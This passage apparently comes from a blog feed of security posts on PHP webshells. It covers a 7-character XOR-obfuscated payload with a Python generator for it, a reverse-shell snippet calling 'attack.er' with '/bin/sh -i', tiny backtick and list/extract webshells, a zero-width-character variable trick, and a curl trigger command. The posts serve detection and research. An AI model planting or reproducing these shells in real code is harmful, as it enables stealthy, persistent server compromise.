t: '5'^'a':         ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]
e: '7'^'r':         (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]
_: 'r'^'5'^'y'^'a': ([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]
n: '7'^'y':         (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]
p: '1'^'a':         ![].[][!![]]^(![].![].[].[])[![].(![]^![])]
u: '4'^'a':         ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]
</code></pre></div></div>

<p>Note that the final <code class="language-plaintext highlighter-rouge">'array'</code> in the function name can only be replaced by <code class="language-plaintext highlighter-rouge">[]</code>, since PHP does not care about the case, and writing <code class="language-plaintext highlighter-rouge">fIlTer_iNpuT_Array</code> should be perfectly fine (same as <code class="language-plaintext highlighter-rouge">"filter_input_".[]</code>). Each letter is put between parentheses, and the final payload is as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>((([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).(([].![])[![]]).( ([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(![].[][!![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).[])(!![])[([].![])[!![]]](((([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).(([].![])[![]]).( ([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(![].[][!![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).[])(!![])[([].![])[![]]])
</code></pre></div></div>

<p>Only 7 characters (:</p>

<p>To ease the process of symbols generation, the following python script has been created:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">itertools</span>
<span class="n">x</span> <span class="o">=</span> <span class="p">[</span><span class="nb">ord</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="p">[</span><span class="s">'A'</span><span class="p">,</span> <span class="s">'r'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">,</span> <span class="s">'y'</span><span class="p">,</span> <span class="s">'0'</span><span class="p">,</span> <span class="s">'1'</span><span class="p">,</span> <span class="s">'.'</span><span class="p">]]</span>
<span class="n">dico</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">lim</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">4</span><span class="p">):</span>
    <span class="k">for</span> <span class="nb">iter</span> <span class="ow">in</span> <span class="n">itertools</span><span class="p">.</span><span class="n">combinations</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">lim</span><span class="p">):</span>
        <span class="n">xored</span> <span class="o">=</span> <span class="nb">reduce</span><span class="p">(</span><span class="k">lambda</span> <span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">:</span> <span class="n">i</span> <span class="o">^</span> <span class="n">j</span><span class="p">,</span> <span class="nb">iter</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">xored</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">dico</span><span class="p">:</span>
            <span class="n">dico</span><span class="p">[</span><span class="n">xored</span><span class="p">]</span> <span class="o">=</span> <span class="s">"^"</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="nb">chr</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">iter</span><span class="p">])</span>
        <span class="k">if</span> <span class="n">xored</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">x</span><span class="p">:</span>
            <span class="n">x</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">xored</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">dico</span><span class="p">)</span>
</code></pre></div></div>

<p>After the first round, all symbols in 0-255 are expressed as XOR operations, and some manipulations still need to be done to keep only primitives.</p>

<h2 id="conclusion">Conclusion</h2>

<p>These techniques are not all completely new. They can be combined to evade filters depending on the needs, but the more complex they are, the easier it is to spot them during a manual analysis. Possibilities are endless, and since PHP is a malleable language, we only scratched the surface.</p>

<h2 id="references">References</h2>

<ul>
  <li><a href="https://b-viguier.github.io/PhpFk/">b-viguier.github.io/PhpFk/</a></li>
  <li><a href="https://mystiz.hk/posts/2021/2021-08-10-uiuctf-phpfuck/">mystiz.hk/posts/2021/2021-08-10-uiuctf-phpfuck/</a></li>
</ul>]]></content><author><name></name></author><category term="stuff" /><summary type="html"><![CDATA[A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is commonly used while extracting data submitted by the user, through the variables $_GET or $_POST. I presented the following five techniques, retrieving POST’ed argument, being a bash command to be executed by system.]]></summary></entry><entry><title type="html">Hidden in plain sight</title><link href="/stuff/2023/10/31/hidden-in-plain-sight.html" rel="alternate" type="text/html" title="Hidden in plain sight" /><published>2023-10-31T00:00:00+00:00</published><updated>2023-10-31T00:00:00+00:00</updated><id>/stuff/2023/10/31/hidden-in-plain-sight</id><content type="html" xml:base="/stuff/2023/10/31/hidden-in-plain-sight.html"><![CDATA[<p><em>A few thoughts about PHP webshells …</em></p>

<p>Do you think such a piece of code could be harmful ?</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">list</span><span class="p">(</span><span class="nv">$x</span><span class="p">,</span> <span class="nv">$x</span><span class="err">‍</span><span class="p">)</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">;</span>
<span class="nv">$x</span><span class="p">(</span><span class="nv">$x</span><span class="err">‍</span><span class="p">);</span>
</code></pre></div></div>

<p>If no, please continue reading …</p>

<h1 id="intro">Intro</h1>

<p>Although it is fun to find tricky client-side injections, path traversals or IDORs in web applications, it is generally much more satisfying to gain arbitrary code execution (or even better, a command execution). Therefore, arbitrary code execution (or generally referred to as RCE - Remote Code Execution) is not a vulnerability <em>per se</em>, but is the attack resulting from an exploited vulnerability (or a chain of vulnerabilities). Multiple vulnerabilities are known to potentially be the root cause of an RCE, such as (and not limited to):</p>
<ul>
  <li>Local File Inclusion, for which an attacker includes a data stream so as to evaluate it ;</li>
  <li>SQL injection, if the DBMS capabilities allow it, and if the abused service account is privileged enough (local file writes, <code class="language-plaintext highlighter-rouge">xp_cmd_shell</code>, <code class="language-plaintext highlighter-rouge">COPY ... FROM PROGRAM</code>, etc.) ;</li>
  <li>Unrestricted File Upload / Arbitrary File Write, for which an attacker can drop their own scripts on the server, and is able to make the latter execute them ;</li>
  <li>Unsafe Deserialisation, for which an attacker creates arbitrary objects, and possibly calls arbitrary routines ;</li>
  <li>Commands Injection, for which an attacker includes their own commands into a legitimate one ;</li>
</ul>

<p>However, gaining an arbitrary code execution is not always an immediate <em>game over</em>, because:</p>
<ul>
  <li>Turning the code execution into command execution might be sometimes tricky ;</li>
  <li>The attacker generally wants to be the only one controlling the target, and wants to prevent the server from being compromised by someone else ;</li>
  <li>An antimalware solution might be triggered by obvious payloads, that could also warn the webmaster ;</li>
  <li>This same webmaster, while doing their daily routine, might be triggered by unexpected artefacts (e.g. files, logs) ;</li>
  <li>Ensuring persistence is also a commonly pursued goal, saving the need of a future re-exploitation ;</li>
</ul>

<p>Being stealth and efficient at the same time might be challenging. As a first common approach, attackers could leave powerful webshells somewhere on the disk, at an unexpected location where it is unlikely that a webmaster finds them. A second common solution would be to open a reverse shell, if possible, with something like:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$sock</span> <span class="o">=</span> <span class="nb">fsockopen</span><span class="p">(</span><span class="s2">"attack.er"</span><span class="p">,</span><span class="mi">1234</span><span class="p">);</span>
<span class="nv">$proc</span> <span class="o">=</span> <span class="nb">proc_open</span><span class="p">(</span><span class="s2">"/bin/sh -i"</span><span class="p">,</span> <span class="k">array</span><span class="p">(</span><span class="mi">0</span><span class="o">=&gt;</span><span class="nv">$sock</span><span class="p">,</span> <span class="mi">1</span><span class="o">=&gt;</span><span class="nv">$sock</span><span class="p">,</span> <span class="mi">2</span><span class="o">=&gt;</span><span class="nv">$sock</span><span class="p">),</span> <span class="nv">$pipes</span><span class="p">);</span>
</code></pre></div></div>

<p>If the host and port are hardcoded, it might only appear as a hanging blank page to those who find it unintentionally, and cannot be abused by other attackers. Finally, a third common approach would be to drop only a minimalist webshell such as</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;?=`$_GET[0]`;?&gt;
</code></pre></div></div>

<p>The payload can be written in its own file, or hidden somewhere in a legitimate one, where it is more difficult to find.</p>

<h1 id="obfuscation-or-minimalism-">Obfuscation or minimalism ?</h1>

<p>In the first case, powerful webshells are often heavily obfuscated. Taking a look at the malware should quickly raise suspicion with weird symbols, <em>dirty</em> code, escaped strings, etc. To let the compromised web site work properly, it is common for such webshells to be either put in their own files, or prepended or appended to legitimate ones. For instance, let’s take a look at this webshell I found on a compromised WordPress site:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="webshell_obf" src="/assets/res/stuff/webshell_obf.png" /></p>

<p>The principle of this one is quite simple: the file reads itself and looks for the marker <code class="language-plaintext highlighter-rouge">?&gt;</code>, indicating the end of the PHP code (the encoded text starting with <code class="language-plaintext highlighter-rouge">=0UV...</code>, in this case). The data after the marker is then saved as <code class="language-plaintext highlighter-rouge">$L66Rgr[1]</code> and its decoded version as <code class="language-plaintext highlighter-rouge">L6CRgr[2]</code>. Then <code class="language-plaintext highlighter-rouge">preg_replace</code> is used as a pretext to execute <code class="language-plaintext highlighter-rouge">eval</code> on the latter.</p>

<p>Some other webshells also put an encrypted payload in an external text file, and use poor crypto to recover and evaluate it. Not shown here to keep it simple, but the class <code class="language-plaintext highlighter-rouge">UnsafeCrypto</code> only uses <code class="language-plaintext highlighter-rouge">openssl_*</code> functions to decrypt/encrypt with <code class="language-plaintext highlighter-rouge">aes-256-ctr</code> and hardcoded parameters.</p>

<p><img width="75%" style="margin-left:auto;margin-right:auto;display:block;" alt="webshell_enc" src="/assets/res/stuff/webshell_enc.png" /></p>

<p>Finally, let’s take this other webshell, coming as a backdoored <code class="language-plaintext highlighter-rouge">index.php</code> file:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="backdoored_index" src="/assets/res/stuff/backdoored_index.png" /></p>

<p>No doubt that the second line has nothing to do there, and that someone who knows a little bit of PHP and security would find it suspicious. Although it would take time to fully understand what this webshell does (assuming that it is unknown), the malicious intent is quite obvious. To make it stealthier, an attacker could prefer another approach: injecting something like <code class="language-plaintext highlighter-rouge">`$_GET[0]`;</code> somewhere in a legitimate PHP file (note the backticks). This code executes GET arguments as a bash command, because of the backtick operators, acting like a call to <code class="language-plaintext highlighter-rouge">shell_exec</code>. Such a tiny line would not raise much suspicion if lost in the legitimate code.</p>

<p>One could identify three main strategies for such tiny payloads:</p>
<ul>
  <li>Having a webshell that calls an <code class="language-plaintext highlighter-rouge">exec</code>-like functions (<code class="language-plaintext highlighter-rouge">system</code>, <code class="language-plaintext highlighter-rouge">passthru</code>, <code class="language-plaintext highlighter-rouge">shell_exec</code> or the backtick operator, <code class="language-plaintext highlighter-rouge">proc_open</code>, <code class="language-plaintext highlighter-rouge">popen</code>, <code class="language-plaintext highlighter-rouge">pcntl_exec</code>), passing as argument a user-supplied input (e.g. <code class="language-plaintext highlighter-rouge">&lt;?php system($_GET[0]); ?&gt;</code>). Indeed, what an attacker generally wants is to execute bash commands ;</li>
  <li>Having a webshell that calls <code class="language-plaintext highlighter-rouge">eval</code>-like functions, knowing that alternatives are made more difficult to exploit with PHP 8. This second solution makes the webshell even more versatile, but the drawback is that <code class="language-plaintext highlighter-rouge">eval</code> cannot be used as a variable function. Whereas it is possible to call <code class="language-plaintext highlighter-rouge">system</code> with something like <code class="language-plaintext highlighter-rouge">('sys'.'tem')/**/('id');</code>, doing so with <code class="language-plaintext highlighter-rouge">eval</code> would not work (<a href="https://www.php.net/manual/en/functions.variable-functions.php">source: Variable functions</a>) ;</li>
  <li>Having a webshell for which function names are dynamically resolved with variable functions, such as <code class="language-plaintext highlighter-rouge">&lt;?php $_GET['a']($_GET['b']); ?&gt;</code>. This third solution is an in between since it does not hardcode the routine name, while still being a bit more restrictive than an <code class="language-plaintext highlighter-rouge">eval</code>.</li>
</ul>

<h1 id="the-extract-routine">The <code class="language-plaintext highlighter-rouge">extract</code> routine</h1>

<p>An uncommon way to apply the third solution is to use the routine <code class="language-plaintext highlighter-rouge">extract</code> (<a href="https://www.php.net/manual/en/function.extract">documentation</a>). According to the documentation:</p>

<blockquote>

  <p>extract — Import variables into the current symbol table from an array<br />
…<br />
Do not use extract() on untrusted data, like user input (e.g. $_GET, $_FILES).</p>

</blockquote>

<p>In other words, such a piece of code:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">extract</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s2">"a"</span> <span class="o">=&gt;</span> <span class="s2">"b"</span><span class="p">,</span> <span class="s2">"c"</span> <span class="o">=&gt;</span> <span class="s2">"d"</span><span class="p">));</span>
</code></pre></div></div>

<p>would create the variable <code class="language-plaintext highlighter-rouge">$a = "b"</code> and <code class="language-plaintext highlighter-rouge">$c = "d"</code>. Combining it with variable functions, it is now clear that <code class="language-plaintext highlighter-rouge">$_GET['a']($_GET['b']);</code> could be written as:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">extract</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">);</span>
<span class="nv">$a</span><span class="p">(</span><span class="nv">$b</span><span class="p">);</span>
</code></pre></div></div>

<p>In other words, using <code class="language-plaintext highlighter-rouge">extract</code> in this way is like setting <code class="language-plaintext highlighter-rouge">register_globals</code> to <code class="language-plaintext highlighter-rouge">on</code>.</p>

<p><em>The routine <code class="language-plaintext highlighter-rouge">parse_str</code> could have the same effect if it is used with only one argument. But as of PHP 8.0.0, the second parameter is mandatory.</em></p>

<h1 id="the-list-routine">The <code class="language-plaintext highlighter-rouge">list</code> routine</h1>

<p>Another interesting routine similar to <code class="language-plaintext highlighter-rouge">extract</code> is <a href="https://www.php.net/manual/en/function.list.php"><code class="language-plaintext highlighter-rouge">list</code></a>. As stated in the doc:</p>

<blockquote>

  <p>Like array(), this is not really a function, but a language construct. list() is used to assign a list of variables in one operation. Strings cannot be unpacked and list() expressions cannot be completely empty.</p>

</blockquote>

<p>Compared to <code class="language-plaintext highlighter-rouge">extract</code>, the documentation does not warn here against misuses. My guess is that a misuse of <code class="language-plaintext highlighter-rouge">extract</code> would involve the passed parameter (a user-controlled array), while a misuse of <code class="language-plaintext highlighter-rouge">list</code> would involve the right side of the assignment, and therefore not something directly related to the routine itself. For example, the following snippet would create the variables <code class="language-plaintext highlighter-rouge">$drink</code>, <code class="language-plaintext highlighter-rouge">$color</code> and <code class="language-plaintext highlighter-rouge">$power</code>, respectively assigning to them the values <em>coffee</em>, <em>brown</em>, and <em>caffeine</em> (from the doc).</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$info</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s1">'coffee'</span><span class="p">,</span> <span class="s1">'brown'</span><span class="p">,</span> <span class="s1">'caffeine'</span><span class="p">);</span>
<span class="k">list</span><span class="p">(</span><span class="nv">$drink</span><span class="p">,</span> <span class="nv">$color</span><span class="p">,</span> <span class="nv">$power</span><span class="p">)</span> <span class="o">=</span> <span class="nv">$info</span><span class="p">;</span>
</code></pre></div></div>

<p>To make it behave like <code class="language-plaintext highlighter-rouge">extract</code>, one would need to write something like:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">list</span><span class="p">(</span><span class="nv">$a</span><span class="p">,</span><span class="nv">$b</span><span class="p">)</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">;</span>
<span class="nv">$a</span><span class="p">(</span><span class="nv">$b</span><span class="p">);</span>
</code></pre></div></div>

<p>To trigger the code execution, one would then need to send something like:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="webshell_list" src="/assets/res/stuff/webshell_list.png" /></p>

<p>By default, index names are increasing integers. The <code class="language-plaintext highlighter-rouge">extract</code> solution has the advantage that no obvious relation exists between the <code class="language-plaintext highlighter-rouge">$_POST</code> and the variables <code class="language-plaintext highlighter-rouge">$a</code> and <code class="language-plaintext highlighter-rouge">$b</code>;</p>

<h1 id="weird-php-variables">Weird PHP variables</h1>

<p>Does this tiny PHP file seem harmful ?</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">list</span><span class="p">(</span><span class="nv">$x</span><span class="p">,</span> <span class="nv">$x</span><span class="err">‍</span><span class="p">)</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">;</span>
<span class="nv">$x</span><span class="p">(</span><span class="nv">$x</span><span class="err">‍</span><span class="p">);</span>
</code></pre></div></div>

<p><em>These two lines of PHP code could be put somewhere in a legitimate file (maybe not as sequential instructions).</em></p>

<p>Of course, the second line extracts untrusted data and creates variables from it, and uses it to call variable functions. However, it seems that it can only be something like <code class="language-plaintext highlighter-rouge">'system'('system')</code> or <code class="language-plaintext highlighter-rouge">'exec'('exec')</code>, with the argument value being the same as the function name, and such instructions should not be useful. Is it, really ?</p>

<p>However, running an <code class="language-plaintext highlighter-rouge">xxd</code> on the file reveals that the second <code class="language-plaintext highlighter-rouge">$x</code> is actually not the same as the first one. The variable name also contains the <em>U+200D ZERO WIDTH JOINER</em> character (<code class="language-plaintext highlighter-rouge">\xE2\x80\x8D</code>).</p>

<p><img width="50%" style="margin-left:auto;margin-right:auto;display:block;" alt="weird_shell2" src="/assets/res/stuff/weird_shell2.png" /></p>

<p>Some odd non-printable characters are appended to its name. According to the PHP documentation, variable names are valid as long as they follow this regular expression:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$
</code></pre></div></div>

<p>which means that letters (uppercase and lowercase), numbers, underscores and binary characters can be used (the first one cannot be a number). Some of these non-printable characters can be invisible (<a href="https://invisible-characters.com/">invisible-characters.com</a>), making <code class="language-plaintext highlighter-rouge">$x</code> variables visually (almost) the same. To trigger code execution, the same payload can be used:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-k</span> http://targ.et/test.php <span class="nt">-d</span> <span class="s1">'0=system'</span> <span class="nt">-d</span> <span class="s1">'1=uname -a'</span>
</code></pre></div></div>

<p>However, if the version with <code class="language-plaintext highlighter-rouge">extract</code> is used:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">extract</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">);</span>
<span class="nv">$x</span><span class="p">(</span><span class="nv">$x</span><span class="err">‍</span><span class="p">);</span>
</code></pre></div></div>

<p>named indexes must be used for the two <code class="language-plaintext highlighter-rouge">$x</code> variables (a real one and a look-alike), and the <code class="language-plaintext highlighter-rouge">curl</code> command would be something like:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="weird_shell3" src="/assets/res/stuff/weird_shell3.png" /></p>

<h1 id="getting-rid-of-_">Getting rid of <code class="language-plaintext highlighter-rouge">$_</code></h1>

<p>The common way to pass data to PHP scripts is to send them as GET or POST parameters. Passing them as custom HTTP headers is also something quite common, to avoid payloads being logged. On the server side, passed parameters are generally retrieved with superglobals <code class="language-plaintext highlighter-rouge">$_GET</code> or <code class="language-plaintext highlighter-rouge">$_POST</code>, as shown in the tiny webshells with <code class="language-plaintext highlighter-rouge">list</code> and <code class="language-plaintext highlighter-rouge">extract</code>. The following superglobals are under the user’s control, totally or partially:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">$_GET</code>: the parameters passed by the user in the URL ;</li>
  <li><code class="language-plaintext highlighter-rouge">$_POST</code>: the parameters passed by the user in the request body ;</li>
  <li><code class="language-plaintext highlighter-rouge">$_FILES</code>: uploaded files, populated even if no uploaded file is expected ;</li>
  <li><code class="language-plaintext highlighter-rouge">$_COOKIE</code>: submitted cookies ;</li>
  <li><code class="language-plaintext highlighter-rouge">$_SESSION</code>: normally not completely under the user’s control (fortunately). It contains data related to the current user’s session ;</li>
  <li><code class="language-plaintext highlighter-rouge">$_REQUEST</code>: merges <code class="language-plaintext highlighter-rouge">$_GET</code>, <code class="language-plaintext highlighter-rouge">$_POST</code> and <code class="language-plaintext highlighter-rouge">$_COOKIE</code> ;</li>
  <li><code class="language-plaintext highlighter-rouge">$_ENV</code>: associative array that contains variables passed to the current script via the environment method. It is not completely under the user’s control, but they can still manipulate some entries, such as <code class="language-plaintext highlighter-rouge">$_ENV['REQUEST_URI']</code> ;</li>
  <li><code class="language-plaintext highlighter-rouge">$GLOBALS</code>: variables populated based on current user’s session and HTTP request being sent. It contains the variables <code class="language-plaintext highlighter-rouge">_GET</code> or <code class="language-plaintext highlighter-rouge">_POST</code> ;</li>
  <li><code class="language-plaintext highlighter-rouge">$_SERVER</code>: similar to <code class="language-plaintext highlighter-rouge">$_ENV</code>, and it also contains some entries under the user’s control.</li>
</ul>

<p>Although using superglobals is quite handy, spotting patterns like <code class="language-plaintext highlighter-rouge">extract($_POST)</code> or <code class="language-plaintext highlighter-rouge">list(...) = $_POST</code> can be done with a few regular expressions, hunting for <code class="language-plaintext highlighter-rouge">$_</code> or <code class="language-plaintext highlighter-rouge">$GLOBALS</code>. However, PHP is a permissive language, making it possible to recreate variables based on string manipulations, with <a href="https://www.php.net/manual/en/language.variables.variable.php">variable variables</a>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$x</span> <span class="o">=</span> <span class="s1">'_'</span><span class="mf">.</span><span class="s1">'POST'</span><span class="p">;</span>
<span class="k">echo</span> <span class="nv">$$x</span><span class="p">[</span><span class="s1">'param'</span><span class="p">];</span>
</code></pre></div></div>

<p>The double-dollar sign would recreate the variable named <code class="language-plaintext highlighter-rouge">_POST</code>, giving in the end <code class="language-plaintext highlighter-rouge">$_POST["param"]</code>.</p>

<p><em><strong>Warning</strong> Please note that variable variables cannot be used with PHP’s Superglobal arrays within functions or class methods. The variable $this is also a special variable that cannot be referenced dynamically. That’s what the doc says.</em></p>

<p>Another way to write it could be as follows:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$x</span> <span class="o">=</span> <span class="err">$</span><span class="p">{</span><span class="s2">"_"</span><span class="mf">.</span><span class="s2">"POST"</span><span class="p">}[</span><span class="s2">"param"</span><span class="p">];</span>
</code></pre></div></div>

